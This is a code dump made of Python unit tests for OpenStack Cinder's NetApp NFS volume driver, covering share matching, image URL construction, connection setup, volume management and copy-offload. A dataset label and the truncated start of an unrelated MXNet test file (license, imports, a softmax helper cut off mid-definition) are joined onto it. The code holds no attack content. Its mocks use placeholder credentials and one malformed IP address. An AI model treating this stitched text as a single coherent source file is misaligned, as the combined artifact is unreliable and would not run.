utils.resolve_hostname(mox_lib.IgnoreArg()).AndRaise(Exception()) mox.ReplayAll() share = drv._check_share_in_use('incorrect:8989', '/dir') mox.VerifyAll() if share: self.fail('Unexpected share detected.') def test_check_share_in_use_success(self): drv = self._driver mox = self.mox drv._mounted_shares = ['127.0.0.1:/dir/share'] mox.StubOutWithMock(utils, 'resolve_hostname') mox.StubOutWithMock(drv, '_share_match_for_ip') utils.resolve_hostname(mox_lib.IgnoreArg()).AndReturn('10.22.33.44') drv._share_match_for_ip( '10.22.33.44', ['127.0.0.1:/dir/share']).AndReturn('share') mox.ReplayAll() share = drv._check_share_in_use('127.0.0.1:8989', '/dir/share') mox.VerifyAll() if not share: self.fail('Expected share not detected') def test_construct_image_url_loc(self): drv = self._driver img_loc = (None, # Valid metdata [{'metadata': {'share_location': 'nfs://host/path', 'mountpoint': '/opt/stack/data/glance', 'id': 'abc-123', 'type': 'nfs'}, 'url': 'file:///opt/stack/data/glance/image-id-0'}, # missing metadata {'metadata': {}, 'url': 'file:///opt/stack/data/glance/image-id-1'}, # missing location_type {'metadata': {'location_type': None}, 'url': 'file:///opt/stack/data/glance/image-id-2'}, # non-nfs location_type {'metadata': {'location_type': 'not-NFS'}, 'url': 'file:///opt/stack/data/glance/image-id-3'}, # missing share_location {'metadata': {'location_type': 'nfs', 'share_location': None}, 'url': 'file:///opt/stack/data/glance/image-id-4'}, # missing mountpoint {'metadata': {'location_type': 'nfs', 'share_location': 'nfs://host/path', # Pre-kilo we documented "mount_point" 'mount_point': '/opt/stack/data/glance'}, 'url': 'file:///opt/stack/data/glance/image-id-5'}, # Valid metadata {'metadata': {'share_location': 'nfs://host/path', 'mountpoint': '/opt/stack/data/glance', 'id': 'abc-123', 'type': 'nfs'}, 'url': 'file:///opt/stack/data/glance/image-id-6'}]) locations = drv._construct_image_nfs_url(img_loc) self.assertIn("nfs://host/path/image-id-0", locations) self.assertIn("nfs://host/path/image-id-6", locations) self.assertEqual(2, len(locations)) def test_construct_image_url_direct(self): drv = self._driver img_loc = ("nfs://host/path/image-id", None) locations = drv._construct_image_nfs_url(img_loc) self.assertIn("nfs://host/path/image-id", locations) def test_get_pool(self): pool = self._driver.get_pool({'provider_location': 'fake-share'}) self.assertEqual('fake-share', pool) def _set_config(self, configuration): configuration.netapp_storage_family = 'ontap_cluster' configuration.netapp_storage_protocol = 'nfs' configuration.netapp_login = 'admin' configuration.netapp_password = 'pass' configuration.netapp_server_hostname = '127.0.0.1' configuration.netapp_transport_type = 'http' configuration.netapp_server_port = None configuration.netapp_vserver = 'openstack' configuration.nfs_shares_config = '/nfs' return configuration @mock.patch.object(utils, 'get_volume_extra_specs') def test_check_volume_type_mismatch(self, get_specs): if not hasattr(self._driver, 'vserver'): return unittest.skip("Test only applies to cmode driver") get_specs.return_value = {'thin_volume': 'true'} self._driver._is_share_vol_type_match = mock.Mock(return_value=False) self.assertRaises(exception.ManageExistingVolumeTypeMismatch, self._driver._check_volume_type, 'vol', 'share', 'file') get_specs.assert_called_once_with('vol') self._driver._is_share_vol_type_match.assert_called_once_with( 'vol', 'share', 'file') @mock.patch.object(client_base.Client, 'get_ontapi_version', mock.Mock(return_value=(1, 20))) @mock.patch.object(nfs_base.NetAppNfsDriver, 'do_setup', mock.Mock()) def test_do_setup_all_default(self): configuration = self._set_config(create_configuration()) driver = common.NetAppDriver(configuration=configuration) mock_invoke = self.mock_object(client_cmode, 'Client') driver.do_setup(context='') mock_invoke.assert_called_with(**FAKE_CONNECTION_INFO_HTTP) @mock.patch.object(client_base.Client, 'get_ontapi_version', mock.Mock(return_value=(1, 20))) @mock.patch.object(nfs_base.NetAppNfsDriver, 'do_setup', mock.Mock()) def test_do_setup_http_default_port(self): configuration = self._set_config(create_configuration()) configuration.netapp_transport_type = 'http' driver = common.NetAppDriver(configuration=configuration) mock_invoke = self.mock_object(client_cmode, 'Client') driver.do_setup(context='') mock_invoke.assert_called_with(**FAKE_CONNECTION_INFO_HTTP) @mock.patch.object(client_base.Client, 'get_ontapi_version', mock.Mock(return_value=(1, 20))) @mock.patch.object(nfs_base.NetAppNfsDriver, 'do_setup', mock.Mock()) def test_do_setup_https_default_port(self): configuration = self._set_config(create_configuration()) configuration.netapp_transport_type = 'https' driver = common.NetAppDriver(configuration=configuration) mock_invoke = self.mock_object(client_cmode, 'Client') driver.do_setup(context='') mock_invoke.assert_called_with(**FAKE_CONNECTION_INFO_HTTPS) @mock.patch.object(client_base.Client, 'get_ontapi_version', mock.Mock(return_value=(1, 20))) @mock.patch.object(nfs_base.NetAppNfsDriver, 'do_setup', mock.Mock()) def test_do_setup_http_non_default_port(self): configuration = self._set_config(create_configuration()) configuration.netapp_server_port = 81 driver = common.NetAppDriver(configuration=configuration) mock_invoke = self.mock_object(client_cmode, 'Client') driver.do_setup(context='') FAKE_CONN_INFO_PORT_HTTP = dict(FAKE_CONNECTION_INFO_HTTP, port=81) mock_invoke.assert_called_with(**FAKE_CONN_INFO_PORT_HTTP) @mock.patch.object(client_base.Client, 'get_ontapi_version', mock.Mock(return_value=(1, 20))) @mock.patch.object(nfs_base.NetAppNfsDriver, 'do_setup', mock.Mock()) def test_do_setup_https_non_default_port(self): configuration = self._set_config(create_configuration()) configuration.netapp_transport_type = 'https' configuration.netapp_server_port = 446 driver = common.NetAppDriver(configuration=configuration) mock_invoke = self.mock_object(client_cmode, 'Client') driver.do_setup(context='') FAKE_CONN_INFO_PORT_HTTPS = dict(FAKE_CONNECTION_INFO_HTTPS, port=446) mock_invoke.assert_called_with(**FAKE_CONN_INFO_PORT_HTTPS) @mock.patch.object(utils, 'resolve_hostname', return_value='10.12.142.11') def test_convert_vol_ref_share_name_to_share_ip(self, mock_hostname): drv = self._driver share = "%s/%s" % (self.TEST_NFS_EXPORT1, 'test_file_name') modified_share = '10.12.142.11:/export/test_file_name' modified_vol_ref = drv._convert_vol_ref_share_name_to_share_ip(share) self.assertEqual(modified_share, modified_vol_ref) @mock.patch.object(utils, 'resolve_hostname', return_value='10.12.142.11') @mock.patch.object(os.path, 'isfile', return_value=True) def test_get_share_mount_and_vol_from_vol_ref(self, mock_isfile, mock_hostname): drv = self._driver drv._mounted_shares = [self.TEST_NFS_EXPORT1] vol_path = "%s/%s" % (self.TEST_NFS_EXPORT1, 'test_file_name') vol_ref = {'source-name': vol_path} drv._ensure_shares_mounted = mock.Mock() drv._get_mount_point_for_share = mock.Mock( return_value=self.TEST_MNT_POINT) (share, mount, file_path) = \ drv._get_share_mount_and_vol_from_vol_ref(vol_ref) self.assertEqual(self.TEST_NFS_EXPORT1, share) self.assertEqual(self.TEST_MNT_POINT, mount) self.assertEqual('test_file_name', file_path) @mock.patch.object(utils, 'resolve_hostname', return_value='10.12.142.11') def test_get_share_mount_and_vol_from_vol_ref_with_bad_ref(self, mock_hostname): drv = self._driver drv._mounted_shares = [self.TEST_NFS_EXPORT1] vol_ref = {'source-id': '1234546'} drv._ensure_shares_mounted = mock.Mock() drv._get_mount_point_for_share = mock.Mock( return_value=self.TEST_MNT_POINT) self.assertRaises(exception.ManageExistingInvalidReference, drv._get_share_mount_and_vol_from_vol_ref, vol_ref) @mock.patch.object(utils, 'resolve_hostname', return_value='10.12.142.11') def test_get_share_mount_and_vol_from_vol_ref_where_not_found(self, mock_host): drv = self._driver drv._mounted_shares = [self.TEST_NFS_EXPORT1] vol_path = "%s/%s" % (self.TEST_NFS_EXPORT2, 'test_file_name') vol_ref = {'source-name': vol_path} drv._ensure_shares_mounted = mock.Mock() drv._get_mount_point_for_share = mock.Mock( return_value=self.TEST_MNT_POINT) self.assertRaises(exception.ManageExistingInvalidReference, drv._get_share_mount_and_vol_from_vol_ref, vol_ref) @mock.patch.object(utils, 'resolve_hostname', return_value='10.12.142.11') def test_get_share_mount_and_vol_from_vol_ref_where_is_dir(self, mock_host): drv = self._driver drv._mounted_shares = [self.TEST_NFS_EXPORT1] vol_ref = {'source-name': self.TEST_NFS_EXPORT2} drv._ensure_shares_mounted = mock.Mock() drv._get_mount_point_for_share = mock.Mock( return_value=self.TEST_MNT_POINT) self.assertRaises(exception.ManageExistingInvalidReference, drv._get_share_mount_and_vol_from_vol_ref, vol_ref) @mock.patch.object(cinder_utils, 'get_file_size', return_value=1073741824) def test_manage_existing_get_size(self, get_file_size): drv = self._driver drv._mounted_shares = [self.TEST_NFS_EXPORT1] test_file = 'test_file_name' volume = FakeVolume() volume['name'] = 'file-new-managed-123' volume['id'] = 'volume-new-managed-123' vol_path = "%s/%s" % (self.TEST_NFS_EXPORT1, test_file) vol_ref = {'source-name': vol_path} drv._ensure_shares_mounted = mock.Mock() drv._get_mount_point_for_share = mock.Mock( return_value=self.TEST_MNT_POINT) drv._get_share_mount_and_vol_from_vol_ref = mock.Mock( return_value=(self.TEST_NFS_EXPORT1, self.TEST_MNT_POINT, test_file)) vol_size = drv.manage_existing_get_size(volume, vol_ref) self.assertEqual(1, vol_size) @mock.patch.object(cinder_utils, 'get_file_size', return_value=1074253824) def test_manage_existing_get_size_round_up(self, get_file_size): drv = self._driver drv._mounted_shares = [self.TEST_NFS_EXPORT1] test_file = 'test_file_name' volume = FakeVolume() volume['name'] = 'file-new-managed-123' volume['id'] = 'volume-new-managed-123' vol_path = "%s/%s" % (self.TEST_NFS_EXPORT1, test_file) vol_ref = {'source-name': vol_path} drv._ensure_shares_mounted = mock.Mock() drv._get_mount_point_for_share = mock.Mock( return_value=self.TEST_MNT_POINT) drv._get_share_mount_and_vol_from_vol_ref = mock.Mock( return_value=(self.TEST_NFS_EXPORT1, self.TEST_MNT_POINT, test_file)) vol_size = drv.manage_existing_get_size(volume, vol_ref) self.assertEqual(2, vol_size) @mock.patch.object(cinder_utils, 'get_file_size', return_value='badfloat') def test_manage_existing_get_size_error(self, get_size): drv = self._driver drv._mounted_shares = [self.TEST_NFS_EXPORT1] test_file = 'test_file_name' volume = FakeVolume() volume['name'] = 'file-new-managed-123' volume['id'] = 'volume-new-managed-123' vol_path = "%s/%s" % (self.TEST_NFS_EXPORT1, test_file) vol_ref = {'source-name': vol_path} drv._ensure_shares_mounted = mock.Mock() drv._get_mount_point_for_share = mock.Mock( return_value=self.TEST_MNT_POINT) drv._get_share_mount_and_vol_from_vol_ref = mock.Mock( return_value=(self.TEST_NFS_EXPORT1, self.TEST_MNT_POINT, test_file)) self.assertRaises(exception.VolumeBackendAPIException, drv.manage_existing_get_size, volume, vol_ref) @mock.patch.object(cinder_utils, 'get_file_size', return_value=1074253824) def test_manage_existing(self, get_file_size): drv = self._driver drv._mounted_shares = [self.TEST_NFS_EXPORT1] test_file = 'test_file_name' volume = FakeVolume() volume['name'] = 'file-new-managed-123' volume['id'] = 'volume-new-managed-123' vol_path = "%s/%s" % (self.TEST_NFS_EXPORT1, test_file) vol_ref = {'source-name': vol_path} drv._check_volume_type = mock.Mock() self.stubs.Set(drv, '_execute', mock.Mock()) drv._ensure_shares_mounted = mock.Mock() drv._get_mount_point_for_share = mock.Mock( return_value=self.TEST_MNT_POINT) drv._get_share_mount_and_vol_from_vol_ref = mock.Mock( return_value=(self.TEST_NFS_EXPORT1, self.TEST_MNT_POINT, test_file)) shutil.move = mock.Mock() mock_get_specs = self.mock_object(utils, 'get_volume_extra_specs') mock_get_specs.return_value = {} self.mock_object(drv, '_do_qos_for_volume') location = drv.manage_existing(volume, vol_ref) self.assertEqual(self.TEST_NFS_EXPORT1, location['provider_location']) drv._check_volume_type.assert_called_once_with( volume, self.TEST_NFS_EXPORT1, test_file, {}) @mock.patch.object(cinder_utils, 'get_file_size', return_value=1074253824) def test_manage_existing_move_fails(self, get_file_size): drv = self._driver drv._mounted_shares = [self.TEST_NFS_EXPORT1] test_file = 'test_file_name' volume = FakeVolume() volume['name'] = 'volume-new-managed-123' volume['id'] = 'volume-new-managed-123' vol_path = "%s/%s" % (self.TEST_NFS_EXPORT1, test_file) vol_ref = {'source-name': vol_path} mock_check_volume_type = drv._check_volume_type = mock.Mock() drv._ensure_shares_mounted = mock.Mock() drv._get_mount_point_for_share = mock.Mock( return_value=self.TEST_MNT_POINT) drv._get_share_mount_and_vol_from_vol_ref = mock.Mock( return_value=(self.TEST_NFS_EXPORT1, self.TEST_MNT_POINT, test_file)) drv._execute = mock.Mock(side_effect=OSError) mock_get_specs = self.mock_object(utils, 'get_volume_extra_specs') mock_get_specs.return_value = {} self.mock_object(drv, '_do_qos_for_volume') self.assertRaises(exception.VolumeBackendAPIException, drv.manage_existing, volume, vol_ref) mock_check_volume_type.assert_called_once_with( volume, self.TEST_NFS_EXPORT1, test_file, {}) @mock.patch.object(nfs_base, 'LOG') def test_unmanage(self, mock_log): drv = self._driver self.mock_object(utils, 'get_valid_qos_policy_group_info') volume = FakeVolume() volume['id'] = '123' volume['provider_location'] = '/share' drv.unmanage(volume) self.assertEqual(1, mock_log.info.call_count) class NetAppCmodeNfsDriverOnlyTestCase(test.TestCase): """Test direct NetApp C Mode driver only and not inherit.""" def setUp(self): super(NetAppCmodeNfsDriverOnlyTestCase, self).setUp() self._custom_setup() def _custom_setup(self): self.mock_object(utils, 'OpenStackInfo') kwargs = {} kwargs['netapp_mode'] = 'proxy' kwargs['configuration'] = create_configuration() self._driver = netapp_nfs_cmode.NetAppCmodeNfsDriver(**kwargs) self._driver.ssc_enabled = True self._driver.configuration.netapp_copyoffload_tool_path = 'cof_path' self._driver.zapi_client = mock.Mock() self.mock_object(netapp_nfs_cmode, 'LOG') self._fake_empty_qos_policy_group_info = { 'legacy': None, 'spec': None, } self._fake_legacy_qos_policy_group_info = { 'legacy': { 'policy_name': 'qos_policy_1' }, 'spec': None, } @mock.patch.object(utils, 'LOG', mock.Mock()) def test_create_volume(self): drv = self._driver drv.ssc_enabled = False fake_extra_specs = {} fake_share = 'localhost:myshare' host = 'hostname@backend#' + fake_share mock_get_specs = self.mock_object(utils, 'get_volume_extra_specs') mock_get_specs.return_value = fake_extra_specs self.mock_object(drv, '_ensure_shares_mounted') self.mock_object(drv, '_do_create_volume') mock_get_qos_info =\ self.mock_object(utils, 'get_valid_qos_policy_group_info') mock_get_qos_info.return_value = self._fake_empty_qos_policy_group_info volume_info = self._driver.create_volume(FakeVolume(host, 1)) self.assertEqual(fake_share, volume_info.get('provider_location')) self.assertEqual(0, utils.LOG.warning.call_count) def test_create_volume_no_pool_specified(self): drv = self._driver drv.ssc_enabled = False host = 'hostname@backend' # missing pool with mock.patch.object(drv, '_ensure_shares_mounted'): self.assertRaises(exception.InvalidHost, self._driver.create_volume, FakeVolume(host, 1)) def test_create_volume_with_legacy_qos_policy(self): drv = self._driver drv.ssc_enabled = False fake_extra_specs = {'netapp:qos_policy_group': 'qos_policy_1'} fake_share = 'localhost:myshare' host = 'hostname@backend#' + fake_share fake_volume = FakeVolume(host, 1) mock_get_specs = self.mock_object(utils, 'get_volume_extra_specs') mock_get_specs.return_value = fake_extra_specs mock_get_qos_info =\ self.mock_object(utils, 'get_valid_qos_policy_group_info') mock_get_qos_info.return_value =\ self._fake_legacy_qos_policy_group_info self.mock_object(drv, '_ensure_shares_mounted') self.mock_object(drv, '_do_create_volume') mock_set_qos = self.mock_object(drv, '_set_qos_policy_group_on_volume') volume_info = self._driver.create_volume(fake_volume) self.assertEqual('localhost:myshare', volume_info.get('provider_location')) mock_set_qos.assert_called_once_with( fake_volume, self._fake_legacy_qos_policy_group_info) def test_copy_img_to_vol_copyoffload_success(self): drv = self._driver context = object() volume = {'id': 'vol_id', 'name': 'name'} image_service = object() image_id = 'image_id' drv.zapi_client.get_ontapi_version = mock.Mock(return_value=(1, 20)) drv._try_copyoffload = mock.Mock() drv._get_provider_location = mock.Mock(return_value='share') drv._get_vol_for_share = mock.Mock(return_value='vol') drv._update_stale_vols = mock.Mock() drv.copy_image_to_volume(context, volume, image_service, image_id) drv._try_copyoffload.assert_called_once_with(context, volume, image_service, image_id) drv._update_stale_vols.assert_called_once_with('vol') def test_copy_img_to_vol_copyoffload_failure(self): drv = self._driver context = object() volume = {'id': 'vol_id', 'name': 'name'} image_service = object() image_id = 'image_id' drv.zapi_client.get_ontapi_version = mock.Mock(return_value=(1, 20)) drv._try_copyoffload = mock.Mock(side_effect=Exception()) nfs_base.NetAppNfsDriver.copy_image_to_volume = mock.Mock() drv._get_provider_location = mock.Mock(return_value='share') drv._get_vol_for_share = mock.Mock(return_value='vol') drv._update_stale_vols = mock.Mock() drv.copy_image_to_volume(context, volume, image_service, image_id) drv._try_copyoffload.assert_called_once_with(context, volume, image_service, image_id) nfs_base.NetAppNfsDriver.copy_image_to_volume.\ assert_called_once_with(context, volume, image_service, image_id) drv._update_stale_vols.assert_called_once_with('vol') def test_copy_img_to_vol_copyoffload_nonexistent_binary_path(self): drv = self._driver context = object() volume = {'id': 'vol_id', 'name': 'name'} image_service = mock.Mock() image_service.get_location.return_value = (mock.Mock(), mock.Mock()) image_service.show.return_value = {'size': 0} image_id = 'image_id' drv._client = mock.Mock() drv._client.get_api_version = mock.Mock(return_value=(1, 20)) drv._find_image_in_cache = mock.Mock(return_value=[]) drv._construct_image_nfs_url = mock.Mock(return_value=["nfs://1"]) drv._check_get_nfs_path_segs = mock.Mock(return_value=("test:test", "dr")) drv._get_ip_verify_on_cluster = mock.Mock(return_value="192.1268.1.1") drv._get_mount_point_for_share = mock.Mock(return_value='mnt_point') drv._get_host_ip = mock.Mock() drv._get_provider_location = mock.Mock() drv._get_export_path = mock.Mock(return_value="dr") drv._check_share_can_hold_size = mock.Mock() # Raise error as if the copyoffload file can not be found drv._clone_file_dst_exists = mock.Mock(side_effect=OSError()) # Verify the original error is propagated self.assertRaises(OSError, drv._try_copyoffload, context, volume, image_service, image_id) def test_copyoffload_frm_cache_success(self): drv = self._driver context = object() volume = {'id': 'vol_id', 'name': 'name'} image_service = object() image_id = 'image_id' drv._find_image_in_cache = mock.Mock(return_value=[('share', 'img')]) drv._copy_from_cache = mock.Mock(return_value=True) drv._try_copyoffload(context, volume, image_service, image_id) drv._copy_from_cache.assert_called_once_with(volume, image_id, [('share', 'img')]) def test_copyoffload_frm_img_service_success(self): drv = self._driver context = object() volume = {'id': 'vol_id', 'name': 'name'} image_service = object() image_id = 'image_id' drv._client = mock.Mock() drv._client.get_api_version = mock.Mock(return_value=(1, 20)) drv._find_image_in_cache = mock.Mock(return_value=[]) drv._copy_from_img_service = mock.Mock() drv._try_copyoffload(context, volume, image_service, image_id) drv._copy_from_img_service.assert_called_once_with(context, volume, image_service, image_id) def test_cache_copyoffload_workflow_success(self): drv = self._driver volume = {'id': 'vol_id', 'name': 'name', 'size': 1} image_id = 'image_id' cache_result = [('ip1:/openstack', 'img-cache-imgid')] drv._get_ip_verify_on_cluster = mock.Mock(return_value='ip1') drv._get_host_ip = mock.Mock(return_value='ip2') drv._get_export_path = mock.Mock(return_value='/exp_path') drv._execute = mock.Mock() drv._register_image_in_cache = mock.Mock() drv._get_provider_location = mock.Mock(return_value='/share') drv._post_clone_image = mock.Mock() copied = drv._copy_from_cache(volume, image_id, cache_result) self.assertTrue(copied) drv._get_ip_verify_on_cluster.assert_any_call('ip1') drv._get_export_path.assert_called_with('vol_id') drv._execute.assert_called_once_with('cof_path', 'ip1', 'ip1', '/openstack/img-cache-imgid', '/exp_path/name', run_as_root=False, check_exit_code=0) drv._post_clone_image.assert_called_with(volume) drv._get_provider_location.assert_called_with('vol_id') @mock.patch.object(image_utils, 'qemu_img_info') def test_img_service_raw_copyoffload_workflow_success(self, mock_qemu_img_info): drv = self._driver volume = {'id': 'vol_id', 'name': 'name', 'size': 1} image_id = 'image_id' context = object() image_service = mock.Mock() image_service.get_location.return_value = ('nfs://ip1/openstack/img', None) image_service.show.return_value = {'size': 1, 'disk_format': 'raw'} drv._check_get_nfs_path_segs =\ mock.Mock(return_value=('ip1', '/openstack')) drv._get_ip_verify_on_cluster = mock.Mock(return_value='ip1') drv._get_host_ip = mock.Mock(return_value='ip2') drv._get_export_path = mock.Mock(return_value='/exp_path') drv._get_provider_location = mock.Mock(return_value='share') drv._execute = mock.Mock() drv._get_mount_point_for_share = mock.Mock(return_value='mnt_point') drv._discover_file_till_timeout = mock.Mock(return_value=True) img_inf = mock.Mock() img_inf.file_format = 'raw' mock_qemu_img_info.return_value = img_inf drv._check_share_can_hold_size = mock.Mock() drv._move_nfs_file = mock.Mock(return_value=True) drv._delete_file_at_path = mock.Mock() drv._clone_file_dst_exists = mock.Mock() drv._post_clone_image = mock.Mock() drv._copy_from_img_service(context, volume, image_service, image_id) drv._get_ip_verify_on_cluster.assert_any_call('ip1') drv._get_export_path.assert_called_with('vol_id') drv._check_share_can_hold_size.assert_called_with('share', 1) assert drv._execute.call_count == 1 drv._post_clone_image.assert_called_with(volume) @mock.patch.object(image_utils, 'convert_image') @mock.patch.object(image_utils, 'qemu_img_info') @mock.patch('os.path.exists') def test_img_service_qcow2_copyoffload_workflow_success(self, mock_exists, mock_qemu_img_info, mock_cvrt_image): drv = self._driver volume = {'id': 'vol_id', 'name': 'name', 'size': 1} image_id = 'image_id' context = object() image_service = mock.Mock() image_service.get_location.return_value = ('nfs://ip1/openstack/img', None) image_service.show.return_value = {'size': 1, 'disk_format': 'qcow2'} drv._check_get_nfs_path_segs =\ mock.Mock(return_value=('ip1', '/openstack')) drv._get_ip_verify_on_cluster = mock.Mock(return_value='ip1') drv._get_host_ip = mock.Mock(return_value='ip2') drv._get_export_path = mock.Mock(return_value='/exp_path') drv._get_provider_location = mock.Mock(return_value='share') drv._execute = mock.Mock() drv._get_mount_point_for_share = mock.Mock(return_value='mnt_point') img_inf = mock.Mock() img_inf.file_format = 'raw' mock_qemu_img_info.return_value = img_inf drv._check_share_can_hold_size = mock.Mock() drv._move_nfs_file = mock.Mock(return_value=True) drv._delete_file_at_path = mock.Mock() drv._clone_file_dst_exists = mock.Mock() drv._post_clone_image = mock.Mock() drv._copy_from_img_service(context, volume, image_service, image_id) drv._get_ip_verify_on_cluster.assert_any_call('ip1') drv._get_export_path.assert_called_with('vol_id') drv._check_share_can_hold_size.assert_called_with('share', 1) assert mock_cvrt_image.call_count == 1 assert drv._execute.call_count == 1 assert drv._delete_file_at_path.call_count == 2 drv._clone_file_dst_exists.call_count == 1 drv._post_clone_image.assert_called_with(volume) class NetApp7modeNfsDriverTestCase(NetAppCmodeNfsDriverTestCase): """Test direct NetApp 7 Mode driver.""" def _custom_setup(self): self.mock_object(utils, 'OpenStackInfo') # Inject fake netapp_lib module classes. netapp_api.mock_netapp_lib([client_cmode, client_base]) self.mock_object(common.na_utils, 'check_netapp_lib') self.mock_object(common.na_utils, 'LOG') self.mock_object(nfs_base, 'LOG') self._driver = netapp_nfs_7mode.NetApp7modeNfsDriver( configuration=create_configuration()) self._driver.zapi_client = mock.Mock() def _prepare_delete_snapshot_mock(self, snapshot_exists): drv = self._driver mox = self.mox mox.StubOutWithMock(drv, '_get_provider_location') mox.StubOutWithMock(drv, '_volume_not_present') if snapshot_exists: mox.StubOutWithMock(drv, '_execute') mox.StubOutWithMock(drv, '_get_volume_path') drv._get_provider_location(mox_lib.IgnoreArg()) drv._volume_not_present(mox_lib.IgnoreArg(), mox_lib.IgnoreArg())\ .AndReturn(not snapshot_exists) if snapshot_exists: drv._get_volume_path(mox_lib.IgnoreArg(), mox_lib.IgnoreArg()) drv._execute('rm', None, run_as_root=True) mox.ReplayAll() return mox def test_create_volume_no_pool_specified(self): drv = self._driver drv.ssc_enabled = False host = 'hostname@backend' # missing pool with mock.patch.object(drv, '_ensure_shares_mounted'): self.assertRaises(exception.InvalidHost, self._driver.create_volume, FakeVolume(host, 1)) @mock.patch.object(nfs_base.NetAppNfsDriver, 'do_setup') @mock.patch.object(client_7mode.Client, '__init__', return_value=None) def test_do_setup(self, mock_client_init, mock_super_do_setup): context = mock.Mock() self._driver.do_setup(context) mock_client_init.assert_called_once_with(**SEVEN_MODE_CONNECTION_INFO) mock_super_do_setup.assert_called_once_with(context) @mock.patch.object(client_base.Client, 'get_ontapi_version', mock.Mock(return_value=(1, 20))) @mock.patch.object(nfs_base.NetAppNfsDriver, 'do_setup', mock.Mock()) def test_do_setup_all_default(self): configuration = self._set_config(create_configuration()) driver = common.NetAppDriver(configuration=configuration) mock_invoke = self.mock_object(client_7mode, 'Client') driver.do_setup(context='') mock_invoke.assert_called_with(**FAKE_7MODE_CONNECTION_INFO_HTTP) @mock.patch.object(client_base.Client, 'get_ontapi_version', mock.Mock(return_value=(1, 20))) @mock.patch.object(nfs_base.NetAppNfsDriver, 'do_setup', mock.Mock()) def test_do_setup_http_default_port(self): configuration = self._set_config(create_configuration()) configuration.netapp_transport_type = 'http' driver = common.NetAppDriver(configuration=configuration) mock_invoke = self.mock_object(client_7mode, 'Client') driver.do_setup(context='') mock_invoke.assert_called_with(**FAKE_7MODE_CONNECTION_INFO_HTTP) @mock.patch.object(client_base.Client, 'get_ontapi_version', mock.Mock(return_value=(1, 20))) @mock.patch.object(nfs_base.NetAppNfsDriver, 'do_setup', mock.Mock()) def test_do_setup_https_default_port(self): configuration = self._set_config(create_configuration()) configuration.netapp_transport_type = 'https' driver = common.NetAppDriver(configuration=configuration) mock_invoke = self.mock_object(client_7mode, 'Client') driver.do_setup(context='') mock_invoke.assert_called_with(**FAKE_7MODE_CONNECTION_INFO_HTTPS) @mock.patch.object(client_base.Client, 'get_ontapi_version', mock.Mock(return_value=(1, 20))) @mock.patch.object(nfs_base.NetAppNfsDriver, 'do_setup', mock.Mock()) def test_do_setup_http_non_default_port(self): configuration = self._set_config(create_configuration()) configuration.netapp_server_port = 81 driver = common.NetAppDriver(configuration=configuration) mock_invoke = self.mock_object(client_7mode, 'Client') driver.do_setup(context='') FAKE_CONN_INFO_PORT_HTTP = dict(FAKE_7MODE_CONNECTION_INFO_HTTP, port=81) mock_invoke.assert_called_with(**FAKE_CONN_INFO_PORT_HTTP) @mock.patch.object(client_base.Client, 'get_ontapi_version', mock.Mock(return_value=(1, 20))) @mock.patch.object(nfs_base.NetAppNfsDriver, 'do_setup', mock.Mock()) def test_do_setup_https_non_default_port(self): configuration = self._set_config(create_configuration()) configuration.netapp_transport_type = 'https' configuration.netapp_server_port = 446 driver = common.NetAppDriver(configuration=configuration) mock_invoke = self.mock_object(client_7mode, 'Client') driver.do_setup(context='') FAKE_CONN_INFO_PORT_HTTPS = dict(FAKE_7MODE_CONNECTION_INFO_HTTPS, port=446) mock_invoke.assert_called_with(**FAKE_CONN_INFO_PORT_HTTPS) @mock.patch.object(nfs_base.NetAppNfsDriver, 'check_for_setup_error') def test_check_for_setup_error(self, mock_super_check_for_setup_error): self._driver.zapi_client.get_ontapi_version.return_value = (1, 20) self.assertIsNone(self._driver.check_for_setup_error()) mock_super_check_for_setup_error.assert_called_once_with() def test_check_for_setup_error_old_version(self): self._driver.zapi_client.get_ontapi_version.return_value = (1, 8) self.assertRaises(exception.VolumeBackendAPIException, self._driver.check_for_setup_error) def test_check_for_setup_error_no_version(self): self._driver.zapi_client.get_ontapi_version.return_value = None self.assertRaises(exception.VolumeBackendAPIException, self._driver.check_for_setup_error) def _prepare_clone_mock(self, status): drv = self._driver mox = self.mox volume = FakeVolume() setattr(volume, 'provider_location', '127.0.0.1:/nfs') mox.StubOutWithMock(drv, '_get_export_ip_path') drv._get_export_ip_path( mox_lib.IgnoreArg(), mox_lib.IgnoreArg()).AndReturn(('127.0.0.1', '/nfs')) return mox def test_clone_backing_file_for_volume_clear(self): drv = self._driver mox = self._prepare_clone_mock('fail') drv.zapi_client = mox.CreateMockAnything() drv.zapi_client.get_actual_path_for_export('/nfs').AndReturn( '/vol/vol1/nfs') drv.zapi_client.clone_file(mox_lib.IgnoreArg(), mox_lib.IgnoreArg()) mox.ReplayAll() volume_name = 'volume_name' clone_name = 'clone_name' volume_id = volume_name + six.text_type(hash(volume_name)) try: drv._clone_backing_file_for_volume(volume_name, clone_name, volume_id) except Exception as e: if isinstance(e, netapp_api.NaApiError): pass else: raise mox.VerifyAll() def test_get_pool(self): pool = self._driver.get_pool({'provider_location': 'fake-share'}) self.assertEqual('fake-share', pool) def _set_config(self, configuration): super(NetApp7modeNfsDriverTestCase, self)._set_config( configuration) configuration.netapp_storage_family = 'ontap_7mode' return configuration def test_clone_backing_file_for_volume(self): drv = self._driver mox = self._prepare_clone_mock('pass') drv.zapi_client = mox.CreateMockAnything() drv.zapi_client.get_actual_path_for_export('/nfs').AndReturn( '/vol/vol1/nfs') drv.zapi_client.clone_file(mox_lib.IgnoreArg(), mox_lib.IgnoreArg()) mox.ReplayAll() volume_name = 'volume_name' clone_name = 'clone_name' volume_id = volume_name + six.text_type(hash(volume_name)) share = 'ip:/share' drv._clone_backing_file_for_volume(volume_name, clone_name, volume_id, share) mox.VerifyAll()
codeparrot/github-code-clean
# Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. # pylint: skip-file from __future__ import print_function import numpy as np import mxnet as mx import math import random import itertools from numpy.testing import assert_allclose, assert_array_equal from mxnet.test_utils import * from mxnet.base import py_str, MXNetError from common import setup_module, with_seed import unittest def np_softmax(x, axis=-1): # fix for old numpy on Travis not supporting keepdims # x = x - np.max(x, axis=-1, keepdims=True) x = x - np.max(x, axis=axis, keepdims=True) x = np.exp(x) # x /= np.sum(x, axis=-1, keepdims=True) x /= np.sum(x, axis=axis, keepdims=True) return x def 